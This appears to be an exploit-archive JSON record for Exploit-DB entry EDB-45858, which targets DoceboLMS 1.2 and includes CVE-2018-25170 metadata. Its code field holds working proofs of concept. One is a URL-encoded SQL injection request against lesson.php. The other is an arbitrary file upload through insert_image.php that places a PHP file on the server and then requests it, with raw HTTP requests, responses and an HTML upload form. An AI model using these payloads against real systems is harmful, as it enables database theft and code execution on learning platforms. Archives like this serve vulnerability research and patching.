{"exploit":{"id":"EDB-45858","name":"DoceboLMS 1.2 - 'id' SQL Injection (SQLi) / 'insert_image.php' Arbitrary File Upload","description":"DoceboLMS 1.2 - 'id' SQL Injection (SQLi) / 'insert_image.php' Arbitrary File Upload","cves":["CVE-2018-25170"],"author":"Ihsan Sencan","published":"2018-11-14","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45858","path":"exploits/php/webapps/45858.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45858.txt","vulnerabilities":[{"id":"CVE-2018-25170","state":"PUBLISHED","title":"DoceboLMS 1.2 SQL Injection via lesson.php","titleSource":"CVE Program","description":"DoceboLMS 1.2 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries by injecting SQL code through the id, idC, and idU parameters. Attackers can send GET requests to the lesson.php endpoint with malicious SQL payloads to extract sensitive database information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-25170","cvss":{"version":"4.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2018-25170"},"updatedAt":"2026-03-09T19:05:37.344Z","retrievedAt":"2026-11-26T12:28:05.119Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45858.png?v=2","url":"https://exploitbin.com/exploits/EDB-45858","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45858/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45858/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: DoceboLMS 1.2 - SQL Injection\n# Dork: N/A\n# Date: 2018-11-12\n# Exploit Author: Ihsan Sencan\n# Vendor Homepage: http://www.spaghettilearning.com/\n# Software Link: https://datapacket.dl.sourceforge.net/project/spaghettilearn/Spaghettilearning%201.2%20Beta/Spaghettilearnin%201.2%20-%20Windows%20version/splearn12beta.exe\n# Version: 1.2\n# Category: Webapps\n# Tested on: WiN7_x64/KaLiLinuX_x64\n# CVE: N/A\n\n# POC:\n# 1)\n# http://localhost/[PATH]/modules/progcourse/lesson.php?id=[SQL]&idC=[SQL]&idU=[SQL]\n#\nGET /[PATH]/modules/progcourse/lesson.php?id=%31%27%20%41%4e%44%20%45%4c%54%28%31%3d%31%2c%31%29%20%41%4e%44%20%27%45%66%65%27%3d%27%45%66%65 HTTP/1.1\nHost: TARGET\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nCookie: learning=fd935520ed5eafc7e53bffb101c8de6b\nDNT: 1\nConnection: keep-alive\nUpgrade-Insecure-Requests: 1\nHTTP/1.1 200 OK\nDate: Mon, 12 Nov 2018 15:28:22 GMT\nServer: Apache/1.3.27 (Win32) PHP/4.3.3\nX-Powered-By: PHP/4.3.3\nKeep-Alive: timeout=15, max=100\nConnection: Keep-Alive\nTransfer-Encoding: chunked\nContent-Type: text/html\n\n\n# Exploit Title: DoceboLMS 1.2 - Arbitrary File Upload\n# Dork: N/A\n# Date: 2018-11-12\n# Exploit Author: Ihsan Sencan\n# Vendor Homepage: http://www.spaghettilearning.com/\n# Software Link: https://datapacket.dl.sourceforge.net/project/spaghettilearn/Spaghettilearning%201.2%20Beta/Spaghettilearnin%201.2%20-%20Windows%20version/splearn12beta.exe\n# Version: 1.2\n# Category: Webapps\n# Tested on: WiN7_x64/KaLiLinuX_x64\n# CVE: N/A\n\n# POC:\n# 1)\n# http://localhost/[PATH]/modules/htmlarea/popups/insert_image.php?op=proginsert\n#\nPOST /[PATH]/modules/htmlarea/popups/insert_image.php?op=proginsert HTTP/1.1\nHost: TARGET\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nCookie: learning=ab3edb1f569003472985f03a29c58ff3\nConnection: keep-alive\nContent-Type: multipart/form-data; boundary=\n---------------------------25203287911319136191134967575\nContent-Length: 394\n-----------------------------25203287911319136191134967575\nContent-Disposition: form-data; name=\"max_file_size\"\n10000000000\n-----------------------------25203287911319136191134967575\nContent-Disposition: form-data; name=\"uploadedfile\"; filename=\"phpinfo.php\"\nContent-Type: application/force-download\n<?php\nphpinfo();\n?>\n-----------------------------25203287911319136191134967575--\nHTTP/1.1 200 OK\nDate: Mon, 12 Nov 2018 16:03:33 GMT\nServer: Apache/1.3.27 (Win32) PHP/4.3.3\nX-Powered-By: PHP/4.3.3\nSet-Cookie: learning=ab3edb1f569003472985f03a29c58ff3; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nKeep-Alive: timeout=15, max=100\nConnection: Keep-Alive\nTransfer-Encoding: chunked\nContent-Type: text/html\n\n#\nGET /[PATH]/fileCorsi/galleryImg/1542038613.user.phpinfo.php HTTP/1.1\nHost: 192.168.245.133\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: /[PATH]/modules/htmlarea/popups/insert_image.php?op=proginsert\nCookie: learning=ab3edb1f569003472985f03a29c58ff3\nConnection: keep-alive\nHTTP/1.1 200 OK\nDate: Mon, 12 Nov 2018 16:03:43 GMT\nServer: Apache/1.3.27 (Win32) PHP/4.3.3\nX-Powered-By: PHP/4.3.3\nKeep-Alive: timeout=15, max=97\nConnection: Keep-Alive\nTransfer-Encoding: chunked\nContent-Type: text/html\n\n# POC:\n# 2)\n# http://localhost/[PATH]/modules/htmlarea/popups/insert_image.php?op=proginsert\n#\n# http://localhost/[PATH]/fileCorsi/galleryImg/[FILE]\n#\n<html>\n<body>\n<form method=\"post\" enctype=\"multipart/form-data\" action=\"http://localhost/[PATH]/modules/htmlarea/popups/insert_image.php?op=proginsert\">\n<input name=\"max_file_size\" value=\"10000000000\" type=\"hidden\">\n<input name=\"uploadedfile\" size=\"25\" type=\"file\">\n<input value=\"_INS\" type=\"submit\">\n</form>\n</body>\n</html>","sha256":"eb489a74aa3458e386194d148e1d701085f702932053d8582c67dea413f70c05","bytes":4231,"fetchedAt":"2026-11-26T16:09:40.103Z","encoding":"utf-8 (display only; download retains original bytes)"}